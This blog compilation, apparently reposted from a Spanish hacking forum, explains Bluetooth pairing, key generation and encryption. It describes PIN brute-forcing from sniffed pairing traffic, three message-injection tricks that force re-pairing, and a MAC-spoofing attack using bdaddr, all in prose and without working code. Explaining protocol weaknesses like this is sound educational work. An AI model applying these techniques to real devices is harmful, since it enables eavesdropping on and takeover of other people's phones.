Banner 1

[Bluetooth] PIN Cracking

0 comentarios
1. Cracking al PIN de BlueTooth.

1.1. Introducción.

Debido a la reciente publicación de este método, y al interés general que ha suscitado, nos adelantamos a su publicación y lo hacemos en forma de Anexo.

Aunque no entraremos en profundidad con los algoritmos matemáticos para no hacer el artículo demasiado técnico, si que es imprescindible un perfecto conocimiento de la generación, intercambio y manejo de las claves, explicado con detalle en le capítulo 3.


1.2. El ataque básico.

Para poder realizar esta técnica, el atacante tiene que capturar y almacenar un determinado flujo de datos en el momento del emparejamiento y autenticación de dos dispositivos BlueTooth. Luego todo consiste en aplicar un algoritmo de fuerza bruta para poder saber el PIN utilizado en el emparejamiento.

Para hacer uso de esta técnica necesitamos previamente implementar los algoritmos de generación de claves, E1, E21 y E22, que son una modificación del conocido cifrado por bloques SAPHER+.


Tabla de mensajes enviados en el Emparejamiento y Autenticación


Conocidos gracias al sniffer el BD_ADRR y el IN_RAND, generamos un PIN y aplicamos estos datos a nuestra implementación de E22, con lo que conseguimos una Kinit. El atacante puede usar la Kinit para desXORear LK_RANDA y LK_RANDB (mensajes 2 y 3), y aplicarlas al algoritmo E21 para conseguir una hipotética KAB.

Ahora podemos aplicar la KAB y el AU_RANDa (mensaje 4) al algoritmo E1 para conseguir el SRES y compararlo con el SRES del mensaje 5.

Si coinciden es que ya tenemos el PIN correcto y la Clave de Linkado.
Si fuera necesario se pueden usar el valor de los mensajes 6 y 7 para asegurarnos.


Estructura del ataque básico.


Si recordamos que SRES es de 32 bits, nos encontramos con el impedimento de que solo tenemos 64 bits (SRESA y SRESB) para poder comparar nuestra salida de datos. Esto implica que el sistema solo es efectivo si el PIN es de menos de 64 bits (hasta 7 dígitos). Si el PIN es mayor, hay muchas posibilidades de tener varios candidatos, y aunque el sistema encuentre uno, es posible que no sea el correcto.



1.3. Implementaciones del Crack.

Los autores del método han desarrollado varias implementaciones de los algoritmos, desde la versión sin optimizar hasta versiones con tablas precalculadas.

A fecha de hoy el código fuente no está liberado, aunque podéis encontrar una descripción completa de los algoritmos en el documento original.

Como vemos en la siguiente tabla, los tiempos de ruptura son totalmente ridículos.


Tiempos de ruptura en un Pentium IV 3GHz con HyperThreading.


1.4. Forzando un nuevo emparejamiento.

Hasta aquí la idea no es nueva, y como podemos ver, tiene la tremenda dificultad de que hay que estar “presente” en el mismo momento en el que dos dispositivos son emparejados, y esto solo ocurre una vez, porque la Clave de Linkado una vez creada se almacena, y en las siguientes veces el proceso de emparejamiento no se realiza.

La novedad de todo esto radica en un nuevo ataque, que fuerza al protocolo de conexión a realizar un nuevo emparejamiento, y ahora ya sí que podemos llevar a acabo todo lo descrito anteriormente.

Asumimos que los dispositivos ya han sido previamente emparejados antes de establecer la nueva comunicación, con lo cual como hemos dicho se saltan el proceso de creación de KAB y pasan directamente a la Autenticación.

Hay descritos tres métodos para forzar un nuevo emparejamiento, y su eficacia depende del firmware de los dispositivos.

1.- Dado que los dispositivos pasan directamente al proceso de autenticación, el dispositivo maestro envía al esclavo un mensaje AU_RAND, y queda a la espera del SRES de retorno. Las especificaciones BlueTooth contemplan la posibilidad de que un dispositivo pierda su Clave de Linkado, y en ese caso, el esclavo manda un mensaje LMP_not_accepted como respuesta.
De esta forma, justo después de que el maestro haya enviado el AU_RAND, el atacante inyecta un mensaje LMP_not_accepted hacia el maestro, forzándole a descartar su Clave de Linkado y a reiniciar un nuevo emparejamiento.





2.- Al comienzo de la fase de Autenticación, el dispositivo maestro tiene que enviar un mensaje AU_RAND al dispositivo esclavo. Si antes de que haga esto, el atacante envia un mensaje IN_RAND hacia el dispositivo esclavo, este creerá que el maestro ha perdido su Clave de Linkado, y forzará un nuevo emparejamiento.




3.- Como hemos visto antes, durante la fase de Autenticación, el dispositivo maestro envía un mensaje AU_RAND al esclavo y queda a la espera de un SRES de respuesta. Si después de que el maestro haya enviado el AU_RAND, el atacante le inyecta un SRES aleatorio, forzará el reinicio de la fase de Autenticación. Después de cierto número de intentos, el maestro da como errónea la Autenticación, y forzará un nuevo emparejamiento.




Si quisiéramos hacer un ataque “on line”, la forma es grabar toda la transferencia entre los dispositivos después del proceso de emparejamiento. Mientras tanto vamos crackeando el PIN (0.06 – 0.3 seg para un PIN de 4 dígitos), descodificados toda la información guardada y seguimos descodificando “on line”.
Dado que BlueTooth transfiere a 1 Megabit/s, con un buffer de 40KB es suficiente para un PIN de 4 dígitos.

Suponiendo que tengamos el software necesario, aún así no es tan fácil el ataque.

El re-emparejamiento es un ataque activo, y requiere inyectar datos en un momento determinado, con lo que necesitaremos un dispositivo BlueTooth “preparado” para poder llevar acabo las inyecciones en su momento preciso, ya que normalmente esto no nos será posible.

Si el dispositivo esclavo verifica la BD_ADDR del maestro, necesitaremos poder spoofear la BD_ADDR, que también requiere un dispositivo BlueTooth “preparado”.

Y por último, si el ataque tiene éxito, los usuarios tienen que meter de nuevo el PIN, lo que puede levantar sospechas.

Fuente:http://foro.elhacker.net/hacking_mobile/bluetooth_pin_cracking-t73806.0.html

[Bluetooth] Ataque Blue MAC Spoofing

0 comentarios
Otro texto bien bueno de nuestro amigo godspel

Revisión del ataque Blue MAC Spoofing - ¿Todavía piensas que Bluetooth es seguro?

La mayoría de usuarios de teléfonos móviles Bluetooth ha tenido la necesidad alguna vez de emparejar su teléfono con otro dispositivo con el fin de transferir archivos vía Bluetooth o conectarse a equipos manos libres o receptores GPS. Es un hecho que la conducta habitual suele ser mantener esos enlaces activos aun cuando estos se encuentren en desuso o la conexión haya sido esporádica. ¿Qué ocurriría si cada uno de esos enlaces activos pudiera convertirse en una puerta trasera a nuestro teléfono, con acceso transparente al control total de las funciones del teléfono y los archivos almacenados? En efecto, dado que todos los mecanismos de seguridad empleados por Bluetooth se realizan a nivel de dispositivo, y no de usuario, suplantar la identidad de un dispositivo emparejado y utilizar sus credenciales de confianza para acceder a un teléfono sin que el usuario se percate resulta una acción trivial. En esto consiste el ataque Blue MAC Spoofing.

Acabo de publicar un artículo sobre el ataque Blue MAC Spoofing. No hay casi nada documentado sobre este ataque en la red y es importante darlo a conocer ya que, a mi juicio, se trata de uno de los ataques más peligrosos en materia de seguridad Bluetooth.
- Todos los dispositivos Bluetooth son vulnerables a este ataque, al tratarse de una vulnerabilidad intrínseca al estándar y no debida a una incorrecta implementación del fabricante, como en los ataques a teléfonos móviles anteriormente descubiertos.
- Suplantar la dirección MAC de un dispositivo Bluetooth en Linux es trivial, con bdaddr.
- Consecuencia del robo de claves de enlace: If your box gets owned, your phone may, too.
- Elevado impacto para el usuario atacado: Acceso a comandos AT y al sistema de archivos del teléfono.

http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/Files/Revision.del.Ataque.Blue.MAC.Spoofing_todavia.piensas.que.Bluetooth.es.seguro.pdf

Les sigo recordando si quieren saber mas sobre el tema visiten su blog y tambien http://foro.elhacker.net/hacking_mobile/bluetooth_ataque_blue_mac_spoofing-t163903.0.html

saludos

[Bluetooth] Introducción y seguridad

0 comentarios
1. Introducción.

El concepto de Bluetooth surge de la imperiosa necesidad de las grandes empresas de telecomunicaciones e informática, de desarrollar una interfaz abierta, que facilite la comunicación entre los diferentes equipos informáticos y telefónicos, aprovechando la capacidad y la movilidad de los dispositivos inalámbricos, para la total supresión de los cables de conexión, adoptando así un único estándar de conexión.

El Bluetooth Special Interest Group (SIG), una asociación comercial formada por líderes en telecomunicación, informática e industrias de red, es la encargada del desarrollo e introducción en el mercado de esta tecnología inalámbrica.

Los promotores de Bluetooth incluyen Agere, Ericsson, IBM, Intel, Microsoft, Motorola, Nokia y Toshiba, y centenares de compañías asociadas.

El nombre viene de Harald Bluetooth, un Vikingo y rey de Dinamarca a de los años 940 a 981, fue reconocido por su capacidad de ayudar a la gente a comunicarse. Durante su reinado unió Dinamarca y Noruega.

1.1. Propósito y alcance
El propósito de este taller es introducirnos en los aspectos de la seguridad de BlueTooth y en los ataques existentes que rompen esa seguridad.

1.2. Definiciones.
• SIG: Special Interest Group. La organización propietaria de la marca comercial BlueTooth, y la responsable del desarrollo y evolución de esta tecnología.

1.3. Referencias.



2. Especificaciones BlueTooth.


2.1. Tecnología.

Bluetooth se puede definir como una propuesta de especificación de radio frecuencia por transmisión de corto alcance de datos, pudiendo transmitir a través de objetos sólidos no metálicos.

Su alcance nominal es de 10 cm a 10 m “en teoría”, pero puede extenderse a 100 m mediante el incremento de transmisión de energía. Más tarde analizaremos lo del alcance.

Los ordenadores, teléfonos móviles, aparatos domésticos y equipos de oficina, basados en Bluetooth pueden conectarse entre sí dentro de áreas físicas reducidas, sin necesidad de utilizar cableado, de forma “segura” (también analizaremos esto) y barata y a altas velocidades de transmisión.
También se pretende ofrecer acceso a Internet.

La tecnología usa la banda ISM (Industrial Scientific Medicine) de los 2.4 GHz que no necesita licencia, está disponible en casi todo el mundo.
Bluetooth es además, un módulo radio de baja potencia, puede integrarse en una amplia variedad de dispositivos. Soporta transmisión de tres canales de voz, vídeo y datos a una velocidad máxima de 1 Mbps, aunque la máxima velocidad real girará alrededor de los 721 Kbps.

Ya se habla de su uso para todo, seguridad del hogar, dispositivos médicos, etc.


2.2. Pila de Protocolos.

La especificación de Bluetooth pretende que todas las aplicaciones sean capaces de operar entre sí. Para conseguir esta interoperabilidad, las aplicaciones en dispositivos remotos deben ejecutarse sobre una pila de protocolos idénticos.

Para comunicarse con otros dispositivos Bluetooth, se requiere un hardware específico para Bluetooth, que incluye un módulo de banda base, así como otro módulo de radio y una antena.
Además deberá haber un software encargado de controlar la conexión entre dos dispositivos Bluetooth; este software (Link Manager) por lo general correrá en un microprocesador dedicado. Los Link Managers de diferentes dispositivos Bluetooth se comunicarán mediante el protocolo LMP (Link Manager Protocol).
Además habrá otros módulos de software, que constituirán la pila de protocolos, y garantizarán la interoperabilidad entre aplicaciones alojadas en diferentes dispositivos Bluetooth.

La pila completa se compone tanto de protocolos específicos de Bluetooth (LM (Link Manager) y L2CAP (Logical Link Control Adaption Protocol), por ejemplo) como de protocolos no específicos de Bluetooth como son OBEX (Objects Exchange Protocol), UDP (User Datagram Protocol), TCP, IP, etc. Debido a que la hora de diseñar la torre de protocolos, el objetivo principal ha sido maximizar el número de protocolos existentes que se puedan reutilizar en las capas más altas para diferentes propósitos.

A parte de todos estos protocolos, la especificación define el HCI (Host Controller Interface), que se encarga de proporcionar una interfaz de comandos al controlador BaseBand, al gestor de enlace, y nos da acceso al estado del hardware y a los registros de control.


2.3. Descripción de los protocolos

2.3.1. Link Manager (LM) y Link Manager Protocol (LMP).

2.3.1.1. Link manager.

El Link Manager es el sistema que consigue establecer la conexión entre dispositivos.
Se encarga del establecimiento, la autentificación y la configuración del enlace.

El Link Manager localiza a otros gestores y se comunica con ellos gracias al protocolo de gestión del enlace LMP.
Para poder realizar su función de proveedor de servicio, el LM utiliza los servicios incluidos en el controlador de enlace (LC, "Link Controller" o BaseBand).

El Link Manager Protocol básicamente consiste en un número de PDUs (Protocol Data Units) que son enviadas de un dispositivo a otro.

A continuación se enuncian los servicios soportados:

•Transmisión y recepción de datos.
•Petición de nombre: El gestor de enlace tiene un eficiente método para inquirir y reportar la ID de un dispositivo con una longitud de máximo 16 caracteres.
•Petición de las direcciones de enlace.
•Establecimiento de la conexión.
•Autentificación.
•Negociación del modo de enlace y establecimiento, por ejemplo, modo datos o modo voz/datos. Esto puede cambiarse durante la conexión.

2.3.1.2. Modos.

Establecimiento de un dispositivo al modo "sniff". En este modo se reduce el ciclo de trabajo de una estación esclava, ya que sólo escucha cada M slots, siendo el valor de M negociado con el gestor de enlace. La estación maestra puede sólo comenzar la transmisión en tiempos/slots específicos, separados estos por intervalos regulares.

Mantenimiento de un dispositivo de enlace en espera. En modo espera, el apagado del receptor durante períodos de tiempo más largos ahorra energía. Cualquier entidad puede volver a establecer un enlace, con una latencia media de 4 segundos. Esto es definido por el gestor de enlace y manejado por el controlador de enlace.

Establecimiento de un dispositivo en modo "aparcado": Esto es útil cuando un dispositivo no necesita participar activamente en el canal, pero sí quiere permanecer sincronizado. En este modo dicha entidad "despierta" en intervalos regulares de tiempo para escuchar al canal y así poder re-sincronizarse con el resto de entidades de la piconet


2.3.2. Interfaz de la Controladora de la Máquina (HCI).

La interfaz de la Controladora de la Máquina (Host Controller Interface) proporciona una interfaz de comandos para la controladora de banda base y para el gestor de enlace, y permite acceder al estado del hardware y a los registros de control.
Esta interfaz proporciona una capa de acceso homogénea para todos los dispositivos Bluetooth de banda base.
La capa HCI de la máquina intercambia comandos y datos con el firmware del HCI presente en el dispositivo Bluetooth. El driver de la capa de transporte de la controladora de la máquina (es decir, el driver del bus físico) proporciona ambas capas de HCI la posibilidad de intercambiar información entre ellas.

Una de las tareas más importantes de HCI que se deben realizar es el descubrimiento automático de otros dispositivos Bluetooth que se encuentren dentro del radio de cobertura. Esta operación se denomina en inglés inquiry (consulta). Tenga siempre presente que un dispositivo remoto sólo contesta a la consulta si se encuentra configurado en modo visible (discoverable mode).

Código:
% hccontrol -n ubt0hci inquiry
Inquiry result, num_responses=1
Inquiry result #0
BD_ADDR: 00:80:37:29:19:a4
Page Scan Rep. Mode: 0x1
Page Scan Period Mode: 00
Page Scan Mode: 00
Class: 52:02:04
Clock offset: 0x78ef
Inquiry complete. Status: No error [00]

BD_ADDR es la dirección identificativa única del dispositivo Bluetooth, similar a las direcciones MAC de las tarjetas Ethernet. Esta dirección se necesita para transmitir otro tipo de información a otros dispositivos.

Si se realiza una consulta (inquiry) sobre el dispositivo Bluetooth remoto, dicho dispositivo identificará nuestro computador como "nombre.de.su.sistema (ubt0)''. El nombre asignado al dispositivo local se puede modificar en cualquier momento.

El sistema Bluetooth proporciona una conexión punto a punto (con sólo dos unidades Bluetooth involucradas) o también una conexión punto multipunto. En el último caso, la conexión se comparte entre varios dispositivos Bluetooth.


2.3.3. Protocolo de Adaptación y de Control de Enlace a nivel Lógico (L2CAP).

El protocolo L2CAP (Logical Link Control and Adaptation Protocol) proporciona servicios de datos tanto orientados a conexión como no orientados a conexión a los protocolos de las capas superiores, junto con facilidades de multiplexación y de segmentacion y reensamblaje.
L2CAP permite que los protocolos de capas superiores puedan transmitir y recibir paquetes de datos L2CAP de hasta 64 kilobytes de longitud.

L2CAP se basa en el concepto de canales. Un canal es una conexión lógica que se sitúa sobre la conexión de banda base. Cada canal se asocia a un único protocolo. Cada paquete L2CAP que se recibe a un canal se redirige al protocolo superior correspondiente. Varios canales pueden operar sobre la misma conexión de banda base, pero un canal no puede tener asociados más de un protocolo de alto nivel.

Una herramienta de diagnóstico interesante es btsockstat, para FreeBSD.
Realiza un trabajo similar al comando netstat, pero en este caso para las estructuras de datos relacionadas con el sistema Bluetooth. A continuación se muestra la información relativa a la misma conexión lógica del ejemplo anterior.

Código:
% btsockstat
Active L2CAP sockets
PCB Recv-Q Send-Q Local address/PSM Foreign address CID State
c2afe900 0 0 00:02:72:00:d4:1a/3 00:07:e0:00:0b:ca 66 OPEN
Active RFCOMM sessions
L2PCB PCB Flag MTU Out-Q DLCs State
c2afe900 c2b53380 1 127 0 Yes OPEN
Active RFCOMM sockets
PCB Recv-Q Send-Q Local address Foreign address Chan DLCI State
c2e8bc80 0 250 00:02:72:00:d4:1a 00:07:e0:00:0b:ca 3 6 OPEN


2.3.4. Protocolo RFCOMM

El protocolo RFCOMM proporciona emulación de puertos serie a través del protocolo L2CAP. Este protocolo se basa en el estándar de la ETSI denominado TS 07.10. RFCOMM es un protocolo de transporte sencillo, con soporte para hasta 9 puertos serie RS-232 (EIATIA-232-E). El protocolo RFCOMM permite hasta 60 conexiones simultáneas (canales RFCOMM) entre dos dispositivos Bluetooth.

Para los propósitos de RFCOMM, un camino de comunicación involucra siempre a dos aplicaciones que se ejecutan en dos dispositivos distintos (los extremos de la comunicación). Entre ellos existe un segmento que los comunica. RFCOMM pretende cubrir aquellas aplicaciones que utilizan los puertos serie de las máquinas donde se ejecutan. El segmento de comunicación es un enlace Bluetooth desde un dispositivo al otro (conexión directa).

RFCOMM trata únicamente con la conexión de dispositivos directamente, y también con conexiones entre el dispositivo y el modem para realizar conexiones de red. RFCOMM puede soportar otras configuraciones, tales como módulos que se comunican via Bluetooth por un lado y que proporcionan una interfaz de red cableada por el otro.


2.3.5. Protocolo de Descubrimiento de Servicios (SDP).

El Protocolo de Descubrimiento de Servicios (Service Discovery Protocol o SDP) permite a las aplicaciones cliente descubrir la existencia de diversos servicios proporcionados por uno o varios servidores de aplicaciones, junto con los atributos y propiedades de los servicios que se ofrecen.

Estos atributos de servicio incluyen el tipo o clase de servicio ofrecido y el mecanismo o la información necesaria para utilizar dichos servicios.

SDP se basa en una determinada comunicación entre un servidor SDP y un cliente SDP.

El servidor mantiene una lista de registros de servicios, los cuales describen las características de los servicios ofrecidos. Cada registro contiene información sobre un determinado servicio. Un cliente puede recuperar la información de un registro de servicio almacenado en un servidor SDP lanzando una petición SDP. Si el cliente o la aplicación asociada con el cliente decide utilizar un determinado servicio, debe establecer una conexión independiente con el servicio en cuestión. SDP proporciona un mecanismo para el descubrimiento de servicios y sus atributos asociados, pero no proporciona ningún mecanismo ni protocolo para utilizar dichos servicios.

Normalmente, un cliente SDP realiza una búsqueda de servicios acotada por determinadas características. No obstante hay momentos en los que resulta deseable descubrir todos los servicios ofrecidos por un servidor SDP sin que pueda existir ningún conocimiento previo sobre los registros que pueda contener. Este proceso de búsqueda de cualquier servicio ofrecido se denomina navegación o browsing.

El siguiente ejemplo muestra cómo realizar una consulta de navegación una consulta de navegación SDP mediante el servidor Bluetooth SDP denominado sdpd y el cliente de línea de comando denominado sdpcontrol se incluyen en la instalación estándar de FreeBSD.

Código:
% sdpcontrol -a 00:01:03:fc:6e:ec browse
Record Handle: 00000000
Service Class ID List:
Service Discovery Server (0x1000)
Protocol Descriptor List:
L2CAP (0x0100)
Protocol specific parameter #1: u/int/uuid16 1
Protocol specific parameter #2: u/int/uuid16 1

Record Handle: 0x00000001
Service Class ID List:
Browse Group Descriptor (0x1001)

Record Handle: 0x00000002
Service Class ID List:
LAN Access Using PPP (0x1102)
Protocol Descriptor List:
L2CAP (0x0100)
RFCOMM (0x0003)
Protocol specific parameter #1: u/int8/bool 1
Bluetooth Profile Descriptor List:
LAN Access Using PPP (0x1102) ver. 1.0

Resulta importante resaltar una vez más que cada servicio posee una lista de atributos (por ejemplo en el canal RFCOMM). Dependiendo de los servicios que se quieran utilizar puede resultar necesario anotar algunos de los atributos. Algunas implementaciones de Bluetooth no soportan navegación de servicios y pueden devolver una lista vacía. En este caso se puede intentar buscar algún servicio determinado. OBEX Object Push (OPUSH):

Código:
% sdpcontrol -a 00:01:03:fc:6e:ec search OPUSH


2.3.6. Perfiles. (Profiles)

Desde que se inició la especificación de este estándar, una de las principales preocupaciones del SIG fue garantizar la interoperabilidad total entre dispositivos de distintos fabricantes, siempre y cuando éstos compartan el mismo perfil.
Los perfiles especifican cómo utilizar la pila de protocolos de Bluetooth para implementar una solución que trabaje sin problemas con las de otras marcas. En cada uno se establecen opciones y parámetros, además de detallar cómo usar los distintos procedimientos de los diversos estándares que se encuentren implicados.

Podemos ver la estructura de perfiles de BlueTooth y su dependencia en el siguiente gráfico.


Los perfiles tienen dependencia de otro perfil si reutilizan partes de él. En el gráfico vemos como el perfil Object Push depende del Generic Object Exchange, de Serial Port y de Generic Access.

Han sido desarrollados más perfiles, y todo indica que se seguirán desarrollando otros nuevos.
En este tutorial comentaremos solo los dos siguientes, pero si alguien quiere profundizar en el tema, tiene más información en: http://www.palowireless.com/infotooth/tutorial/profiles.asp



2.3.6.1. Acceso Telefónico a Redes (DUN) y Acceso a Redes mediante perfiles PPP (LAN).

El perfil de Acceso Telefónico a Redes (Dial-Up Networking o DUN) se utiliza mayoritariamente con modems y teléfonos celulares. Los escenarios cubiertos por este perfil se describen a continuación:

• Utilización de un teléfono celular o un modem por una computadora para simular un modem sin cables que se conecte a un servidor de acceso telefónico a redes o para otros servicios de acceso telefónico relacionados;
• Utilización de un teléfono celular o un modem por un computador para recibir llamadas de datos.

El Acceso a Redes con perfiles PPP (LAN) se puede utilizar en las siguientes situaciones:
• Acceso LAN para un único dispositivo Bluetooth;
• Acceso LAN para múltiples dispositivos Bluetooth;
• Conexión de PC a PC (utilizando emulación de PPP sobre una línea serie).


2.3.6.2. Perfil OBEX Object Push (OPUSH).

OBEX es un protocolo muy utilizado para transferencias de ficheros sencillas entre dispositivos móviles. Su uso más importante se produce en comuncaciones por infrarrojos, donde se utiliza para transferencia de ficheros genéricos entre portátiles o dispositivos Palm y para enviar tarjetas de visita o entradas de la agenda entre teléfonos celulares y otros dispositivos con aplicaciones PIM.

El cliente OBEX se utiliza para introducir y para recuperar recuperar objetos del servidor OBEX. Un objeto puede por ejemplo ser una tarjeta de visita o una cita. El cliente OBEX puede obtener un número de canal RFCOMM del dispositivo remoto utilizando SDP. Esto se hace especificando el nombre del servicio en lugar del número de canal RFCOMM. Los nombres de servicios soportados son: IrMC, FTRN y OPUSH. Es posible especificar el canal RFCOMM como un número.

A continuación se muestra un ejemplo de una sesión OBEX donde el objeto que posee la información del dispositivo se recupera del teléfono celular y un nuevo objeto (la tarjeta de visita) se introduce en el directorio de dicho teléfono.

Código:
% obexapp -a 00:80:37:29:19:a4 -C IrMC
obex> get
get: remote file> telecom/devinfo.txt
get: local file> devinfo-t39.txt
Success, response: OK, Success (0x20)
obex> put
put: local file> new.vcf
put: remote file> new.vcf
Success, response: OK, Success (0x20)
obex> di
Success, response: OK, Success (0x20)

3.1. Descripción General

3.1.1. Modos de seguridad.

Hay tres modos primarios de seguridad.

Modo 1. Sin seguridad. Todos los mecanismos de seguridad (autenticación y cifrado) están deshabilitados. Además el dispositivo se situa en modo promiscuo, permitiendo que todos los dispositivos Bluetooth se conecten a él.

Modo 2. En la capa L2CAP, nivel de servicios. Los procedimientos de seguridad son inicializados después de establecerse un canal entre el nivel LM y el de L2CAP. Un gestor de seguridad controla el acceso a servicios y dispositivos. Variando las políticas de seguridad y los niveles de confianza se pueden gestionar los accesos de aplicaciones con diferentes requerimientos de seguridad que operen en paralelo.
Su interface es muy simple y no hay ninguna codificación adicional de PIN o claves.

Modo 3. En el nivel de Link. Todas las rutinas están dentro del chip BlueTooth y nada es transmitido en plano. Los procedimientos de seguridad son iniciados antes de establecer algún canal. Aparte del cifrado tiene autenticación PIN y seguridad MAC. Su metodología consiste en compartir una clave de enlace (clave de linkado) secreta entre un par de dispositivos. Para generar esta clave, se usa un procedimiento de “pairing” cuando los dos dispositivos se comunican por primera vez.


3.1.2. Emparejamiento de Dispositivos

Por defecto, la comunicación Bluetooth no se valida, por lo que cualquier dispositivo puede en principio hablar con cualquier otro. Un dispositivo Bluetooth (por ejemplo un teléfono celular) puede solicitar autenticación para realizar un determinado servicio (por ejemplo para el servicio de marcación por modem).

La autenticación de Bluetooth normalmente se realiza utilizando códigos PIN. Un código PIN es una cadena ASCII de hasta 16 caracteres de longitud. Los usuarios deben introducir el mismo código PIN en ambos dispositivos.
Una vez que el usuario ha introducido el PIN adecuado ambos dispositivos generan una clave de enlace. Una vez generada, la clave se puede almacenar en el propio dispositivo o en un dispositivo de almacenamiento externo. La siguiente vez que se comuniquen ambos dispositivos se reutilizará la misma clave.

El procedimiento descrito hasta este punto se denomina emparejamiento (pairing). Es importante recordar que si la clave de enlace se pierde en alguno de los dispositivos involucrados se debe volver a ejecutar el procedimiento de emparejamiento.

No existe ninguna limitación en los códigos PIN a excepción de su longitud. Algunos dispositivos (por ejemplo los dispositivos de mano Bluetooth) pueden obligar a escribir un número predeterminado de caracteres para el código PIN.


3.1.3. Inicialización y Generación de la claves.

La Clave de Linkado es generada durante una fase de inicialización, cuando dos dispositivos empiezan a comunicarse. Según la especificación BlueTooth, la clave es generada durante la fase de inicialización cuando el usuario introduce un PIN idéntico en ambos dispositivos. Después de completarse la inicialización, los dispositivos se autentican de manera automática y transparente y se lleva a cabo el cifrado de la conexión.


Generación de claves en la Inicialización
Nota: En este esquema los algoritmos E21 y E22 son agrupados en uno genérico llamado E2.

El proceso de Inicialización se desarrolla según los siguientes pasos:

3.1.3.1 Generación de una clave de inicialización Kinit.

Aplicando el PIN del dispositivo y su longitud, el BD_ADDR (48 bits) y un número aleatorio de 128bits, IN_RAND al algoritmo E22 .

El resultado es una palabra de 128 bits, referida como Kinit.

Resaltamos que el PIN está disponible en ambos dispositivos BlueTooth, y que IN_RAND es transmitido en plano.

Respecto a BD_ADDR, si uno de los dispositivos tiene un PIN fijo, se usa la BD_ADDR del dispositivo asociado, y si ambos tienen un PIN variable, se usa el PIN del dispositivo que recibe el IN_RAND (el Slave).
Esto debido a que algunos dispositivos tienen un PIN predefinido que no puede ser modificado, con lo cual este PIN tiene que introducirse en el dispositivo al que queremos emparejarnos. Si ambos tienen un PIN fijo, no pueden emparejarse.





3.1.3.2 Generación de la clave de linkado Kab.

Usando el algoritmo E21, ambos dispositivos crean la clave de linkado.

Los dispositivos usan la clave de inicialización para intercambiar dos nuevos números aleatorios de 128 bits, conocidos como LK_RANDA y LK_RANDB. Cada dispositivo genera un número aleatorio de 128 bits y lo envía al otro dispositivo previamente XOReado bit a bit con Kinit. Dado que ambos dispositivos conocen Kinit, cada dispositivo conoce ambas LK_RAND.

Usando como parámetros de entrada un BD_ADDR y el LK_RAND, el algoritmo E21 obtiene la clave de linkado Kab.





3.1.3.3. Autenticación BlueTooth

El procedimiento de autenticación sigue el conocido esquema “challenge-response”, desafío-respuesta.

Los pasos son los siguiente:

• El “demandante” transfiere su dirección de 48 bits (BD_ADDR) al “verificador”.

• El verificador le transfiere un “desafío” aleatorio de 128 bits (AU_RAND) al demandante.

• El verificador usa el algoritmo E1 para generar el “response” de autenticación, usando como parámetros la dirección del demandante, BD_ADDRb, la Clave de Linkado, Kab, y el desafío. El demandante realiza la misma operación.

• El demandante le devuelve el “response”, SRES, al verificador.

• El verificador compara el SRES del demandante con el que el ha calculado.

• Si los valores de los 32 bits de los SRES son idénticos, el verificador establece la conexión.




En este proceso, se crea además un número de 96 bits llamado ACO (Authenticated Ciphering Offset) en ambos dispositivos, que será usada durante para la creación de la Clave de Cifrado.



3.1.3.4 Generación de la clave de cifrado.

Cuando el Link Manager (LM) activa el cifrado, se crea la Clave de Cifrado, Kc, que es modificada cada vez que el dispositivo entra en modo dicho modo.

La Clave de Cifrado es generada aplicando al algoritmo E3 la Clave de Linkado, un número aleatorio de 128 bits y un Ciphering Offset (COF) basado en el valor de ACO del proceso de autenticación.





En este punto ya estaríamos en condiciones de transferir datos cifrados.



3.1.4. Proceso de cifrado en BlueTooth.

La especificación de BlueTooth, cono hemos permite tres modos de cifrado diferentes.

• Modo 1. Ninguna parte del tráfico de datos es cifrada.

• Modo 2. El tráfico general va sin cifrar, pero el tráfico dirigido individualmente se cifra según las claves individuales de la conexión.

• Modo 3. Todo el tráfico es cifrado acorde a la Clave de Cifrado.


La información de usuario es protegida por cifrado de la carga útil (payload), ya que el código de acceso y la cabecera del paquete nunca son cifrados. El cifrado se lleva a cabo con el algoritmo de cifrado E0, que consiste básicamente de tres partes, como se ve en la figura siguiente:


Algoritmo de cifrado E0


Una parte que realiza la inicialización (generación de la clave de carga útil). Una segunda parte que es el generador de cadenas de claves, y finalmente una tercera parte en la cual se realiza el cifrado o el descifrado.
Los parámetros de entrada a dicho algoritmo serán la clave de cifrado que se obtiene del algoritmo E3, la BD_ADDR del maestro y el reloj del mismo y un número aleatorio.

El Generador de Clave de KeyStream combina los bits de entrada de una forma apropiada y los guarda en 4 registros de desplazamiento retroalimentados, conocidos como Linear Feedback Shift Registers (LSFR). Estos registros son de 25, 31, 33 y 39 bits (128 en total). Este método viene derivado del generador de cifrado de Streams de Massey y Rueppel.

Cuando el cifrado está activo, el maestro envía un número aleatorio (RAND) al esclavo. Antes de la transmisión de cada paquete, el LFSR se inicializa en el Generador de Clave de Carga mediante la combinación de RAND, la identificación del maestro, la clave de cifrado Kc y el número de reloj (o número de Slot).

Como el tamaño de la Clave de Cifrado varía desde 8 a 128 bits, tiene que ser "negociado" entre los dispositivos previamente. En cada dispositivo hay un parámetro que define la longitud máxima permitida de la clave. En esta negociación, el maestro manda su sugerencia al esclavo, y este puede aceptarla o enviar otra sugerencia. Así hastaque haya consenso entre los dispositivos, o la uno de ellos aborte la negociación. En cada aplicación, hay definido un tamaño mínimo de clave aceptable, y si estos requerimientos no son cumplidos por ambos dispositivos, la aplicación aborta la negociación, y el cifrado no puede ser usado. Esto es necesario para evitar la situación donde uno de los dispositivos fuerce un cifrado débil algún fin malicioso.

Finalmente se genera el KeyStream (Kcipher) que es sumada en módulo-2 a los datos que se desean cifrar. El descifrado se realizará exactamente de la misma manera usando la misma clave que se usó para el cifrado.

Cada paquete de carga útil es cifrado separadamente, lo cual se consigue si tenemos en cuenta que una de las entradas al algoritmo E0 es el reloj del maestro, el cual cambia una unidad cada intervalo de tiempo (625µs), por lo que la clave de carga útil será diferente para cada paquete, excepto para aquellos que ocupen más de un intervalo de tiempo, en cuyo caso el valor del reloj del primer intervalo de tiempo del paquete será el que se utilizará para todo el paquete.



Descripción funcional del procedimiento de cifrado




3.2. Debilidades de la seguridad.


3.2.1. Generales

No está demostrada la fuerza del generador pseudoaleatorio del procedimiento “challenge-Response”. Se podrían pruducir números estáticos o repeteciones periódicas que redujeran su efectividad.

PINs cortos son permitidos. De hecho se puede elegir la longitud del PIN, que va de entre 1 a 16 bytes. Normalmente los usuarios los prefieren muy cortos.

No hay una forma “elegante” de generar y distribuir el PIN. Establecer PINs en una red BlueTooth grande y con muchos usuarios puede ser dificil, y esto lleva normalmente a problemas de seguridad.

La longitud de la clave de cifrado es negociable.Es necesario un procedimiento de generación de claves mas fuerte.

